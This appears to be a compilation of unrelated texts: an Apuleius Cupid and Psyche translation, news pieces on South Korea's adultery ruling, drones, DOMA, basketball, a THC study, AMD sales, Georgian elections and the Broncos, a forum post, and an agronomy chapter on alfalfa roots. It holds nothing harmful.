and hastened to return it to Venus. Even so, she was unable to conciliate the harsh goddess's resolve. Venus flashed a menacing smile as she addressed her with threats of yet more monstrous ill-treatment : ‘Now indeed I regard you as a witch with great and lofty powers, for you have carried out so efficiently commands of mine such as these. But you will have to undertake one further task for me, my girl. Take this box’ (she handled it over) ‘and make straight for Hades, for the funereal dwelling of Orcus [Haides] himself. Give the box to Proserpina [Persephone], and say : "Venus [Aphrodite] asks you to send her a small supply of your beauty-preparation, enough for just one day, because she has been tending her sick son, and has used hers all up by rubbing it on him." Make your way back with it as early as you can, because I need it to doll myself up so as to attend the Deities' Theatre.’  Then Psyche came to the full realization that this was the end of the road for her. All pretence was at an end; she saw clearly that she was being driven to her immediate doom. It could not be otherwise, for she was being forced to journey on foot of her own accord to Tartarus and the shades below. She lingered no longer, but made for a very high tower, intending to throw herself headlong from it, for she thought that this was the direct and most glorious route down to the world below. But the tower suddenly burst into speech, and said : ‘Pour girl, why do you seek to put an end to yourself by throwing yourself down? What is the point of rash surrender before this, your final hazardous labour? Once your spirit is sundered fro0m your body, you will certainly descent to the depths of Tartarus without the possibility of a return journey.  ‘Listen to me. Sparta, the famed Achaean city, lies not far from here. On its borders you must look for Taenarus, which lies hidden in a trackless region. Dis [Haides] has his breathing-vent there, and a sign-post points through open gates to the track which none should tread. Once you have crossed the threshold and committed yourself to that path, the track will lead you directly to Orcus' very palace. But you are not to advance through that dark region altogether empty-handed, but carry in both hands barley-cakes baked in sweet wine, and have between your lips twin coins. When you are well advanced on your infernal journey, you will meet a lame ass carrying a load of logs, with a driver likewise lame; he will ask you to hand him some sticks which have slipped from his load, but you must pass in silence without uttering a word. Immediately after that you will reach the lifeless river [Acheron] over which Charon presides. He peremptorily demands the fare, and when he receives it he transports travellers on his stitched-up craft over to the further shore. (So even among the dead, greed enjoys its life; even that great god Charon, who gathers taxes for Dis [Haides], does not do anything for nothing. A poor man on the point of death must find his fare, and no one will let him breathe his last until he has his copper ready.) You must allow this squalid elder to take for your fare one of the coins you are to carry, but he must remove it form your mouth with his own hand. Then again, as you cross the sluggish stream, and old man now dead will float up to you, and raising his decaying hands will beg you to drag him into the boat; but you must not be moved by a sense of pity, for that is not permitted.  ‘When you have crossed the river and have advanced a little further, some aged women weaving at the loom will beg you to lend a hand for a short time. But you are not permitted to touch that either, for all these and many other distractions are part of the ambush which Venus will set to induce you to release one of the cakes from your hands. Do not imaging that the loss of a mere barley cake is a trivial matter, for if you relinquish either of them, the daylight of this world above will be totally denied you. Posted there is a massive hound with a huge, triple-formed head [Cerberus]. This monstrous, fearsome brute confronts the dead with thunderous barking, though his menaces are futile since he can do them no harm. He keeps constant guard before the very threshold and the dark hall of Proserpina [Persephone], protecting that deserted abode of Dis [Haides]. You must disarm him by offering him a cake as his spoils. Then you can easily pass him, and gain immediate access to Proserpina herself. She will welcome you in genial and kindly fashion, and she will try to induce you to sit on a cushioned seat beside her and enjoy a rich repast. But you must settle on the ground, ask for course bread, and eat it. Then you must tell her why you have come. When you have obtained what she gives you, you must make your way back, using the remaining cake to neutralize the dog's savagery. Then you must give the greedy mariner the one coin which you have held back, and once again across the river you must retrace your earlier steps and return to the harmony of heaven's stars. Of all these injunctions I urge you particularly to observe this: do not seek to open or to pry into the box that you will carry, nor be in any way inquisitive about the treasure of divine beauty hidden within it.’  This was how that far-sighted tower performed its prophetic role. Psyche immediately sped to Taenarus, and having duly obtained the coins and cakes she hastened down the path to Hades. She passed the lame ass-driver without a word, handed the fare to the ferryman for the river crossing, ignored the entreaty of the dead man floating on the surface, disregarded the crafty pleas of the weavers, fed the cake to the dog [Cerberus] to quell his fearsome rage, and gained access to the house of Proserpina [Persephone]. Psyche declined the soft cushion and the rich food offered by her hostess; she perched on the ground at her feet, and was content with plain bread. She then reported her mission from Venus [Aphrodite]. The box was at once filled and closed out of her sight, and Psyche took it. She quietened the dog's barking by disarming it with the second cake, offered her remaining coin to the ferryman, and quite animatedly hastened out of Hades. But once she was back in the light of this world and had reverently hailed it, her mind was dominated by rash curiosity, in spite of her eagerness to see the end of her service. She said : ‘How stupid I am to be carrying this beauty-lotion fit for deities, and not take a single drop of it for myself, for with this at any rate I can be pleasing to my beautiful lover.’  The words were scarcely out of her mouth when she opened the box. But inside there was no beauty-lotion or anything other than the sleep of Hades, a truly Stygian sleep. As soon as the lid was removed and it was laid bare, it attacked her and pervaded all her limbs in a thick cloud. It laid hold of her, so that she fell prostrate on the path where she had stood. She lay there motionless, no more animate than a corpse at rest.  But Cupidos was now recovering , for his wound had healed. He could no longer bear Psyche's long separation from him, so he glided out of the high-set window of the chamber which was his prison. His wings were refreshed after their period of rest, so he progressed much more swiftly to reach his Psyche. Carefully wiping the sleep from her, he restored it to its former lodging in the box. Then he roused Psyche with an innocuous prick of his arrow. ‘Poor, dear Psyche,’ he exclaimed, ‘see how as before your curiosity might have been your undoing! But now hurry to complete the task imposed on you by my mother's command; I shall see to the rest.’  After saying this, her lover rose lightly on his wings, while Psyche hurried to bear Proserpina's [Persephone's] gift back to Venus [Aphrodite].  Meanwhile Cupidos, devoured by overpowering desire and with lovelorn face, feared the sudden arrival of his mother's sobering presence, so he reverted to his former role and rose to heaven's peak on swift wings. With a suppliant posture he laid his case before the great Jupiter [Zeus], who took Cupidos's little cheek between his finger and thumb, raised the boy's hand to his lips and kissed it, and then said to him : ‘Honoured son, you have never shown me the deference granted me by the gods' decree. You keep piercing this heart of mine, which regulates the elements and orders the changing motion of the stars, with countless wounds. You have blackened it with repeated impulses of earthly lust, damaging my prestige and reputation by involving me in despicable adulteries which contravene the laws--the lex Julia itself--and public order. You have transformed my smiling countenance into grisly shapes of snakes, fires, beasts, birds, and cattle. Yet in spite of all this, I shall observe my usual moderation, recalling that you were reared in these arms of mine. So I will comply with all that you ask, as long as you know how to cope with your rivals in love; and if at this moment there is on earth any girl of outstanding beauty, as long as you can recompense me with her.’  After saying this, he ordered Mercurius [Hermes] to summon all the gods at once to an assembly, and to declare that any absentee from the convocation of heavenly citizens would be liable to a fine of ten thousand sesterces. The theatre of heaven at once filled up through fear of this sanction. Towering Jupiter [Zeus], seated on his lofty throne, made his proclamation : ‘You gods whose names are inscribed on the register of the Musae, you all surely know this young fellow who was reared by my own hands. I have decided that the hot-headed impulses of his early youth need to be reined in; he has been the subject of enough notoriety in day-to-day gossip on account of his adulteries and all manner of improprieties. We must deprive him of all opportunities; his juvenile behaviour must be shackled with the chains of marriage. He has chosen the girl, and robbed her of her virginity, so he must have and hold her. Let him take Psyche in his embrace and enjoy his dear one ever after.’  Then he turned to address Venus [Aphrodite]. ‘My daughter,’ he said, ‘do not harbour any resentment. Have no fear for you high lineage and distinction in this marriage to a mortal, for I shall declare the union lawful and in keeping with the civil law, and not one between persons of differing social status.’  There and then he ordered that Psyche be detained and brought up to heaven through Mercurius's agency. He gave her a cup of ambrosia, and said : ‘Take this, Psyche, and become immortal. Cupidos will never part from your embrace; this marriage of yours shall be eternal.’  At once a lavish wedding-feast was laid. The bridegroom reclined on a couch of honour, with Psyche in his lap. Jupiter [Zeus] likewise was paired with Juno [Hera], and all the other deities sat in order of precedence. Then a cup of nectar, the gods' wine, was served to Jupiter [Zeus] by his personal cup-bearer [Ganymedes], that well-known country-lad, and to the others by Bacchus [Dionysos]. Vulcanus [Hephaistos] cooked the dinner, the Horae (Seasons) brightened the scene with roses and other flowers, the Gratiae (Graces) diffused balsam, and the Musae (Muses), also present, sand in harmony. Apollo sang to the lyre, and Venus [Aphrodite] took to the floor to the strains of sweet music, and danced prettily. She had organized the performance so that the Musae sang in chorus, a Satyrus (Satyr) played the flute, and a Paniscus (Young Pan) sang to the shepherd's pipes. This was how with due ceremony Psyche was wed to Cupidos, and at full term a daughter was born to them. We call her Voluptas (Pleasure) [Hedone]."  ANCIENT GREEK & ROMAN ART  SOURCES  ROMAN  Apuleius, The Golden Ass - Latin Novel C2nd A.D.  BIBLIOGRAPHY  A complete bibliography of the translations quoted on this page.
-Image copyright AFP Image caption Critics say the state should not be involved in people's private lives  South Korea's top court has ruled that adultery is no longer a crime, revoking a 1953 law under which cheating spouses could be jailed for up to two years.  South Korea was one of only three Asian countries to criminalise infidelity - about 5,500 people have been convicted since 2008.  But out of the nine-judge panel, seven deemed the law unconstitutional.  Presiding judge Park Han-Chul said public conceptions of individuals' sexual rights had changed.  "Even if adultery should be condemned as immoral, state power should not intervene in individuals' private lives," he said.  'Surge in debauchery'  In recent years, while hundreds of people have been convicted under the law, very few have actually gone to prison.  "Recently, it was extremely rare for a person to serve a prison term for adultery," Lim Ji-bong, a law professor at Sogang University in Seoul, told the Associated Press. "The number of indictments has decreased as charges are frequently dropped."  The law has previously been reviewed four times by the court and upheld.  The most recent was in 2008, when actress OK So-ri petitioned the court after being given an eight-month suspended sentence for adultery.  Although she was unsuccessful, it was a narrow loss. Five of the judges deemed the law to be unconstitutional, saying that adultery could be condemned on moral grounds but not as a criminal act. Six judges needed to oppose the law for it to be revoked.  The Constitutional Court said on Thursday that anyone convicted since 2008 could have their case reconsidered.  But some in South Korea have defended the law, saying its loss would encourage sexual depravity.  Justice Ahn Chang-Ho, who read the dissenting opinion at the constitutional court, said that the statute was a key protector of family morals and warned that its abolition would "spark a surge in debauchery".
-If you witnessed someone walking on water, consistently and visibly healing the sick, casting out demons, spontaneously creating bread and fish, turning water into wine, calming storms, killing trees with a glance, and raising the dead--wouldn't you be convinced that the guy is the son of God? Even the most atheist of atheists would have to admit that is some pretty extraordinary evidence. It certainly meets my conversion standards Imagine if you were not only present, but you had a vested interest in believing this guy was the messiah. If he was one ofand fulfilled the prophecy you've been. Imagine you were a Jew in the presence of Jesus.Yet, many Jews did not buy what Jesus was selling. Many did, sure, but considering the Moses-level miracles...why not all? Or at least 99%? If there is something I'm not getting about history, please let me know, but the way I see it, how am I supposed to accept claims two thousand years removed with here-say records when so many of the contemporary neighbors weren't impressed.Maybe, just maybe, the "miracles" just weren't impressive.
-When listing all the ways humanity is going to ruin the future, one that doesn’t often come up is the sun being blocked out by a horde of drone advertising blimps. But that hasn’t stopped one Swiss firm from working hard to make it a reality.  Skye Aero is a project to build 10-foot helium-filled balloons, with small propellers attached to give better control than your average blimp. The benefits are a much bigger aircraft—useful when you want to advertise to people—and one that won’t crash the second it loses power, or bumps into anyone.  It’s not a totally new design—British band Muse have been using a fleet of similar drones on their most recent tour—but Swiss firm Aerotain’s design stands out, due to its soul-sucking practicality. The company thinks Aerotain will be a perfect, audience-engaging advertising platform, which is probably true, but a little too consumerist to get excited about.  Advertisement  Moving away from its role as a replacement for the Goodyear Blimp, lighter-than-air drones are an interesting and underutilized concept. Provided they’re not filled with hydrogen, they offer increased safety for flying over crowds, and a much greater payload than traditional quadcopters. Hopefully, someone will find a better application for them than giant floating billboards.  [Aerotain via IEEE Spectrum]
-Rep. Jared Polis (D-CO), one of the few openly gay members of Congress, blasted Republicans on Thursday for re-committing to spending taxpayer dollars on the legal defense of the Defense of Marriage Act (DOMA).  Republicans included language in the Rules of the House for the new 113th Congress that authorizes the House legal team, the Bipartisan Legal Advisory Group (BLAG), to continue fighting on behalf of DOMA in court. The House of Representatives has already spent $1.5 million to defend the law, which prohibits federal agencies from recognizing marriages between same sex couples.  “House Republicans in this rule are seeking to authorize lawyer fees for a costly federal takeover of marriage that would single out legally married couples for discriminatory treatment under federal law,” Polis said on the House floor.  Republicans directed BLAG to defend DOMA in 2011 after the Obama administration declared the law was unconstitutional.  Polis said Republicans were “sticking taxpayers with millions of dollars of unnecessary costs right on day one in the Rule of the House itself.”  “At least when Democrats spend money, we build roads and bridges, educate kids, provide health care,” he continued. “This Republican spending goes right into the pocket of lawyers. Big spending Republicans on day one spending millions of dollars of taxpayer money on a federal takeover of marriage and a lawyer stimulus — wrong foot to start off on.”  Watch video, uploaded to YouTube, below:  [Image via TEDxBoulder, Creative Commons licensed]
-The Brooklyn Nets will be without Brook Lopez for the remainder of the season, but they have no plans on replacing him with a player outside the organization at this point.  "If there's a deal out there that we feel is going to make us a better team, we'll do it regardless of tax or the future, but we're not going to panic and do a move just to make a move because we feel we have to," Billy King said Sunday. "I still believe in this group. Brook's a big part of it, but we do have other guys, that's why we have depth."  The Nets do not expect to be a "seller" ahead of the deadline.  The Nets could sign a player with a disabled player exception, which they have applied for with the league office.  "Every team that has a big guy on the sideline calls to offer their services, but we had been in discussions with a lot of teams up to this point," King said. "There's not an imminent move, we're not looking to make any imminent move trade-wise. We've got 14 other guys that can step up, but we'll continue to discuss possibilities if it can make our team better."
-Friend can suggest an interesting feature? He would not work a lot with Xposed, it would be with the root itself. In the case would merge the current database with an old backup. For example you have a conversation with someone and formats the phone and install WhatsApp again without backing up, then you again talk with the person, able to merge the new conversation with the old would be very good, and can restore already deleted conversations of a backup/old database  And other, I think this would be more for the Xposed: the module save each image/audio/voice note/call each person in a folder with your number. I like to save pictures of friends who sent me (I have until 2014) and it would be very good a module that automatically organize all
-Marijuana varieties are displayed in West Salem Cannabis, a shop in Salem, Ore., on Sept. 27. (Andrew Selsky/AP)  Nearly 40 percent of people who use marijuana say they do so primarily to help them relax. New research from the University of Illinois at Chicago suggests that many of those folks may be overdoing it.  As it turns out, there hasn't actually been a whole lot of research done on the stress-mitigating effects of pot, according to Emma Childs, Joseph A. Lutz and Harriet de Wit of UIC. So they conducted a randomized, double-blind lab experiment involving 42 test subjects to see how different doses of THC — pot's main chemical ingredient — affected the subjects' responses to stressful situations.  The test subjects were divided into three groups. The first group received an oral dose of 12.5 milligrams of THC. The second group got only 7.5 mg, while the remaining students unknowingly received a placebo.  For reference, this is not a lot of THC. With the help of medical researchers, the publication the Cannabist recently calculated that a person smoking half a joint of weed could be expected to consume between 33 and 39 milligrams of THC. So the amounts of THC involved in this study are considerably lower than what a heavy user could conceivably consume in one setting.  Next, the fun part: The researchers placed each of the participants in a high-stress situation. They had to give a five-minute speech, followed by a five minute oral test of subtraction skills before two interviewers. For the final twist of an anxiety-inducing knife, the researchers videotaped the subjects while this was all going on, and included a video display of the interview in the room where it was happening.  The researchers then measured how well the subjects performed in the speech and arithmetic portions, and asked them to subjectively rate how stressful the experience was for them.  The burning question: Did the subjects who dosed on THC perform better in the tests and report less anxiety? And was there any difference in performance between the low and high doses?  They found that compared to the placebo, the low dose of THC “reduced the duration of negative emotional responses to acute psychosocial stress, and participants’ post-task appraisals of how threatening and challenging they found the stressor,” according to the paper.  But the higher dose of THC actually made things worse. “In contrast, the higher dose of THC (12.5mg) produced small but significant increases in anxiety, negative mood and subjective distress at baseline before the tasks began,” and throughout the tasks, the researchers found.  Conclusions? A low dose of marijuana is the way to go if you use it primarily for relaxation purposes.  There are, of course, some big caveats with this. The first is that the subjects ingested the THC orally. The interplay between THC and anxiety may work differently for smoked cannabis.  More significantly, the subjects received a dose of THC alone. The cannabis plant contains dozens of other psychoactive chemicals, some of which are known to produce anxiety-lessening effects on their own. Popping a THC pill in a lab is a very different experience than smoking or consuming whole-plant cannabis.  That said, much of the commercial marijuana market is fixated on producing strains of the plant with the highest possible concentration of THC, often to the exclusion of the other compounds that might mitigate some of THC's negative effects. So heavy smokers, particularly those looking for the biggest buzz, would do well to heed the warnings in the UIC study.
-AMD has reached its biggest marketshare milestone in over a decade, overtaking Intel in both units sold and revenue at Germany’s largest online retailer. The data pulled from the “Newegg” of Germany, Mindfactory.de, shows AMD’s Ryzen and Threadripper CPU sales growing over several months to finally overtake Intel in August.  AMD’s Threadripper CPUs in particular have done exceptionally well, generating a significant amount of revenue for the Sunnyvale California based chipmaker. The Ryzen Threadripper family was introduced just a month ago to great critical acclaim. The Ryzen Threadripper 1950X was AMD’s first processor in over fifteen years to be crowned the world’s fastest, outpacing Intel’s best by over 45%.  Related NVIDIA & AMD Graphics Card Prices Drop by up to 18% Across the Board  A Historic Milestone For The Perennial Underdog  The sales data, which Mindfactory.de makes public, has been collected and regularly catalogued by a redditor.  The data shows AMD with just 27.6% of the desktop CPU unit share in March, when Ryzen first came out. A figure that grew every month to hit nearly 49% in July, and finally surpassing Intel with over 56% of the unit share in August. AMD’s explosive share growth at the e-tailer amounts to a doubling of units sold in just six months.  AMD’s best seller appears to be the Ryzen 5 1600, which should be of little surprise considering the incredible value this six core processor offers at just $220. In close second, third and fourth are AMD’s Ryzen 7 1700, Ryzen 5 1600X and Ryzen 7 1700X.  In sharp contrast to AMD’s diverse lineup of highly popular chips, only a single SKU accounts for nearly half of all of Intel’s desktop unit sales and that’s the i7 7700K. This explains why the 7700K continues to maintain somewhat of a grip on Amazon’s #1 best seller spot, whilst AMD’s Ryzen chips often occupy the majority of the top 5.  Related AMD’s Open Source Vulkan Ray Tracing Engine Debuting In Games This Year – Radeon Rays 2.0  Breaking things up by revenue is more revealing. Unlike the AMD of old, the data clearly demonstrates that this incredible share growth hasn’t come at the cost of sacrificing profitability. As the company still manages to command the lion’s share of the revenue and not just the volume of units shifted.  The revenue data also reveals that whilst Threadripper accounts for only a tiny percentage of the company’s unit share, it actually represents a healthy portion of the revenue share. In the blue corner once again we see a single SKU, the i7 7700K accounting for the majority of the company’s desktop sales revenue.  The CPU War Is Heating Up And AMD Is Coming Out On Top  It goes without saying that different markets around the globe will react differently to the same product. And while this Mindfactory.de data represents a snapshot of sentiment in Germany, Europe’s biggest PC hardware market, it’s also a reflection of a wider reaction that we’ve seen take place all over the globe. It’s a reaction by consumers to a genuinely competitive product in segment of the PC hardware market that lacked meaningful competition for many years.  Ryzen has certainly taken the world by storm, but Intel is not sitting idly by. Unlike Skylake-X, which has largely been viewed as an underwhelming response to AMD’s Threadripper at best, Coffee Lake, which is only a month away, is shaping up to be a more formidable challenger.  The question of whether AMD will be able maintain its remarkable growth in the desktop channel will rely entirely on how consumers react to Coffee Lake. When all is said and done, one must appreciate the fact that for the first time in ages, fierce competition is back in the CPU market and if this sales data is anything to go by hardware enthusiasts are loving every minute of it.
-An already tense situation escalated late on Sunday night, when an activist for Mr. Ivanishvili’s party, Georgian Dream, in a region east of the capital reported that her 9-month-old niece had been abducted and found drowned. A spokeswoman for the party, Maia Panjikidze, claimed at a hastily arranged news conference that the child’s aunt had received numerous threats from representatives of the ruling party who wanted her to stop promoting Georgian Dream.  Photo  The Georgian Interior Ministry said it would investigate and called it “unfortunate that the Georgian Dream coalition has politicized this tragic event.”  A crowd estimated at more than 100,000 thronged the center of Tbilisi on Saturday to hear a campaign speech from Mr. Ivanishvili. He has promised to bolster agricultural production and address the country’s unemployment rate, which is said to be far higher than the official figure of 16 percent.  “I smell victory, and I smell a free country,” Mr. Ivanishvili told a crowd extending for blocks down Rustaveli Avenue. He made a pointed appeal to the police and other government officials, apparently in anticipation of a standoff after the election results are announced.  Photo  “Do not raise your hands against the citizens of your own country,” he said. People interviewed in the crowd said they were certain that Mr. Ivanishvili’s party would win the election, and equally certain that the government would declare victory. Alexander Cherkezishvili, 49, said he was bracing for what would happen. “Nothing will happen on Monday, we will have elections, that’s all,” he said. “The main question is what will happen on Tuesday. If there is fraud, people will fill the streets. I personally will go out.”  The government’s pollsters are equally confident, saying that Mr. Saakashvili’s party, the United National Movement, began with a hefty lead and has rebounded from the damage inflicted by the release of the prison abuse videos last month. Giga Bokeria, Mr. Saakashvili’s national security adviser, told reporters in Tbilisi that his fears about election-related violence had subsided since then, though he said opposition leaders were stoking tensions.  “Any party raises expectations of victory, it’s normal,” Mr. Bokeria said. But, he said, pointing to a certain number “and saying that anything different from this number, like 60 percent, would automatically mean a stolen election, is also a problematic message to core supporters, and could bring up the temperature and contribute to incidents.”  Giorgi Gogia, a researcher at Human Rights Watch, said his expectations had changed markedly since two weeks ago, when he expected the United National Movement to win 55 or 60 percent of the vote. At Saturday’s demonstration, he said, the opposition crowds were “very, very confident,” and left the impression that they would take to the streets if they were unhappy with the results. “It’s the first time in 20 years of Georgia’s history that we actually don’t know the outcome of the elections,” he said. “This is the first time when the opposition also has the resources to galvanize people.”
-Gary Kubiak has agreed to become the head coach of the Denver Broncos, the team announced Monday.  Editor's Picks How does Kubiak's hire affect Manning'€™s return? Incoming Broncos coach Gary Kubiak has always run a version of the West Coast offense. Peyton Manning comes with his own offense. Can the two work together? Jeff Legwold asks.  Hensley: Kubiak jumped at dream job Everyone in Baltimore should be ticked off at Gary Kubiak for breaking his word to the Ravens, right? Not really.  Five quick thoughts on the Kubiak hiring The Denver Broncos will hire Gary Kubiak as coach. Jeff Legwold delivers some quick takes on what it means. 2 Related  Kubiak's deal is for four years, according to multiple reports. He spent the past season as the Baltimore Ravens' offensive coordinator.  Before joining the Ravens' staff, Kubiak had served as head coach of the Houston Texans. The Broncos will introduce him at a Tuesday afternoon news conference.  "Gary Kubiak has established a track record of leadership, success and high character during his 30 seasons in the NFL," Broncos general manager John Elway said in a statement Monday. "While there is no question he is a Bronco, what Gary has learned from his other opportunities around the league -- especially in his eight seasons as a head coach -- will tremendously benefit our organization.  "Having coached on three Super Bowl champions and 11 playoff teams, Gary knows what it will take to deliver another world championship to Broncos fans. Coach Kubiak is all about winning and doing things the right way, which are values that have always been most important to the Broncos and owner Pat Bowlen."  Kubiak had said after the Ravens' loss to the New England Patriots last week in the divisional round of the playoffs that he was staying in Baltimore, but he had a change of heart when the Broncos job became available.  Kubiak served as backup quarterback to Elway before becoming a part of the team's coaching staff after his retirement.  Ravens quarterbacks coach Rick Dennison and tight ends coach Brian Pariani will be following Kubiak to Denver, sources told ESPN.com's Jamison Hensley.  Kubiak replaces John Fox, who parted ways with Denver following the team's divisional round playoff loss to the Indianapolis Colts a week ago. Fox has since been hired as head coach of the Chicago Bears.  The Broncos' hiring of Kubiak leaves the Atlanta Falcons as the lone team without a head coach.  Kubiak's son weighed in via Twitter on Sunday:
-HOME AG LIBRARY CATALOG TABLE OF CONTENTS NEXT CHAPTER  CHAPTER XIII  ROOT HABITS OF ALFALFA  Alfalfa (Medicago sativa) is a perennial. Its length of life is dependent both on the variety and on the environmental conditions. Usually, it live s only 5 to 7 years, but in semiarid regions, fields over 20 years old are found. Common alfalfa has no rhizomes, although they occur on some of the hardy, yellow-flowered varieties of Medicago falcata. They also sometimes appear on some variegated types, i.e., hybrids of ordinary and yellow-flowered alfalfa.  Like the wild legumes of the grassland, alfalfa is deeply rooted. The seedling usually gives rise to a single taproot which takes a vertically downward course. Considerable variation occurs in the number of side roots which arise from the taproot.  Early Root Habit of Common Alfalfa.--A 63-day-old alfalfa plant is shown in Fig. 93. The crop was grown on upland silt loam soil near Lincoln. The great extent of root in relation to top is very striking. When the plants were only a month old (May 1) and the tops were half an inch high, the taproots were already 5 to 6 inches long. The unfolding of the first pair of leaves was accompanied by the appearance of the first lateral roots. In the 2-months-old plants, the absence of laterals in the surface soil was as characteristic as was their abundance deeper, where 10 to 12 rootlets regularly occurred on an inch of the taproot. Some short secondary branches were present and nodules were abundant.  Fig. 93.--Alfalfa plant 63 days old.  Later Development.--By August 10, the roots had reached the stage of development shown in Fig. 94. Owing to a favorable season, the plants had made a fair growth and were 15 inches tall. Roots were fairly abundant to 5 feet, and some had penetrated to a maximum depth of 5.5 feet. The taproot was the prominent feature, laterals not being abundant below the surface 18 inches of soil. The longest branches did not exceed 6 to 10 inches in length. The general course of the roots was vertically downward. Nodules occurred to depths of over 3.5 feet. A crop of similar age on lowland soil had a better development of tops, which averaged 21 inches tall, and the roots were a little more extensive but otherwise similar. Root development in both upland and lowland during the preceding year was very similar to that just described.  Fig. 94.--Alfalfa root 4.5 months old.  Root Habit of Two-year-old Plants.--The lower plot was adjacent to a 2-year-old field of alfalfa. A long, deep trench was dug in this field, and the roots were thoroughly examined during the first week in June. No other plants were present, and the soil was occupied entirely by the roots of alfalfa. The taproots, near the soil surface, were 5 to 10 millimeters in diameter. Just below the crown and to a depth of 1.5 feet, the roots were well supplied with a great abundance of small laterals, usually less than a millimeter in diameter. These often ran parallel with the soil surface for a distance of 1 to 12 inches or even more. Other branches ran more obliquely downward, usually making wide angles with the taproot. They were well supplied with secondary laterals, mostly less than 3 inches in length. All of the rootlets, but especially those in the surface 2 feet of soil, were abundantly furnished with nodules 2 to 3 millimeters long and 1 to 1.5 millimeters in diameter. In fact, these occurred to the maximum depth of root penetration, about 12 feet. The taproots tapered rather rapidly, so that at a depth of 2 feet, the diameter was seldom greater than 1 to 3 millimeters, and below 9 feet none of, the roots were more than a millimeter thick and usually much less. Many ended at depths of 7 to 10 feet, and others extended to the water level at 12 feet, where they terminated with little branching. Not infrequently, the main root ran for distances of 2 to 5 inches in the deeper so il, giving off few or no branches. Branches more than an inch in length were rare in the deeper soil, and usually they were very much shorter. Here, the roots showed a marked tendency to branch only in the soil crevices. As a whole, the taproot predominated throughout, and typically it branched but little, many plants penetrating deeply without giving off any large laterals (Fig. 95).  Fig. 95.--Two-year-old alfalfa root grown in rich lowland soil. Water table at depth of 12 feet.  The actual number of roots in a vertical layer of soil extending only 4 inches into the wall of the trench, together with the lack of large branches, is shown in Fig. 96. The presence of earthworm burrows in the deeper, stiff, clayey subsoil is significant, These, with countless small holes left at all depths, even to 12 feet, upon the death and decay of older alfalfa roots, are very important in aiding soil aeration. It would seem that the excellent development of other crops upon old fields of alfalfa, sweet clover, and red clover, the roots of which penetrate deeply, is due not only to an increased nitrate supply but also to better aeration. The fertilizing effect of the deeper portions of these decayed root systems is below the reach of most crops.  Fig. 96.--Upper portion of 2-year-old alfalfa roots in their natural position in the soil.  Effect of Environment on Root Habit.--One part of this field of 2-year-old alfalfa extended up a rather steep hillside to the crest of the hill. Here, the plants had a good even stand, which was almost as dense as that on the low ground, and the tops were equally well developed. It was discovered that subsoil conditions were far from typical for the region. The surface 1.2 feet of dark clay loam was rather rich in humus, but below this was a subsoil of stiff yellow to slate-colored clay about 2 feet thick. It was somewhat intermixed with streaks of decomposed Dakota sandstone which modified its tenacity. Below 3.2 feet, the clay became very hard and much jointed, roots being largely confined to these joints. The clay was intermixed with pockets and streaks of chalk. The soil was so hard, especially the deeper soil, that it was removed with considerable difficulty. Its glacial origin was shown by pebbles, often 2 to 3 inches in diameter, which occurred throughout, although not abundantly.  The taproots were as large in diameter as those from the lowland, but a marked difference in branching-habit was apparent. Branches were not only very much more numerous but much larger (Fig. 97). In fact, the first 8 inches of taproot gave rise to two or three times as many branches. Some of the larger ones ran obliquely for 1.5 feet from the base of the plant in the surface 18 inches, and then, turning downward, reached depths of 5 to 6 feet. Frequently, they divided into a large, profusely branched, absorbing network, especially prominent in the first 2 feet of soil. Very rarely did any taproots extend beyond 7.5 feet in depth, and all but the deepest were well branched, especially throughout the last 18 inches of their course.  Fig. 97.--Portions of the root systems of alfalfa from lowland (left) and upland (right). Scale 1 foot.  These differences in root habit, namely, a deep taproot with no major branches and relatively few smaller ones in lowland and a shallower taproot with numerous large, widely spreading branches in the upland, must be attributed to soil conditions with their resultant effect upon water content, soil solutes, and perhaps aeration. Which of these or what combination of these is the controlling one can be definitely answered only by a series of experiments carried on under conditions where the effect of each factor can be evaluated. Experiments with several varieties and strains of alfalfa grown at Ithaca, New York, show that in compact soil all varieties and strains develop branch roots, but in open soil the taproots predominate. 39a  Year-old plants grown in fairly moist loess soil in north central Kansas, from the same lot of seed used at Lincoln, had a root habit like that described for plants of a similar age at Lincoln. But those grown on the short-grass plains of eastern Colorado were very different. Although the tops were 11 inches tall and had blossomed, root penetration was limited by a hardpan layer of very dry soil which occurred at a depth of 2 feet. The root habit was very similar to that of the 2-year-old plant shown in Fig. 98. Low water content of soil and very dry air caused the crop to pass many days in a semiwilted or wilted condition, growth being resumed when showers occurred. The taproots were only 2 to 4 millimeters thick but profusely branched with both large and small laterals. Not infrequently, some of these were equal in size to the taproot. A horizontal spread of 1 to 1.5 feet was characteristic, some roots running 2 feet in the dry soil. Small branches were so numerous that the soil was remarkably well occupied by a network of roots, a condition quite unusual in fields of young alfalfa of more humid regions. Indeed, the modification of the root habit was so great that one would scarcely recognize the roots as those of alfalfa.  Fig. 98.--Alfalfa excavated in the short-grass plains on June 28 during the second year of its growth.  Chemical analyses showed that the soils were rich in all the necessary nutrients; nodules occurred on the roots at all levels; aeration could not have been a limiting factor to growth in this dry soil; and, undoubtedly, water played the dominant rôle. Further investigations at Greeley, Colo., substantiated this conclusion.  Root Behavior under Irrigation and in Dry Land.--A study of crops growing with and without irrigation was made at Greeley, Colo. 104 The plots adjoined those already described for corn. Turkestan alfalfa was drilled 1 inch deep in rows 20 inches apart on the dry land but sowed broadcast in the irrigated plot where it was worked into the soil with a hand rake. The dry-land plot was hoed at frequent intervals throughout the season to conserve the moisture, but the irrigated plot was not tilled. Sowing was done on April 11.  Early Development.--Owing to favorable temperatures, the crop grew well, and when 2 months old, that in the irrigated and fertilized soil was 6 inches tall. Each plant had 6 to 8 leaves. In the dry land, owing largely to a lack of moisture, the plants were only half as tall, although they had the same number of leaves. Differences in root habit were already pronounced (Fig. 99). Plants in the dry land, where water was very scarce in the first foot, had penetrated deeper. They had slightly fewer but longer laterals and more secondary branches. Tubercles were also more abundant.  Fig. 99.--Roots of alfalfa plants 2 months old, those from dry land with greater depth and longer branches.  Midsummer Growth.--Root development was again examined on July 8. Practically no efficient rainfall had occurred up to this time. In the dry land, there was almost no water available in the surface foot and only 2 to 3 per cent remained in the deeper soil layers. In the irrigated field, the 3-months-old plants were 18 inches high, and many were in blossom. In the dry soil, they were only half as tall and most of them had not bloomed. A glance at Fig. 100 shows the marked differences in root habit. The prominence of the taproot, its greater depth of penetration, and the relative scarcity of large branches characterized the Plants in the moist soil. This contrasted sharply with the shallower, more profusely branched taproot found in the dry land, where several of the major branches frequently reached depths nearly or quite as great as the main root.  Fig. 100.--Roots of alfalfa plants 3 months old, the one from the dry land having the greater number of branches.  Most of the dry-land plants had from three to six large branches in the first foot; about half of the plants in the moist soil had none, and many had only one, although some, especially isolated individuals, frequently had two or more. There was a greater 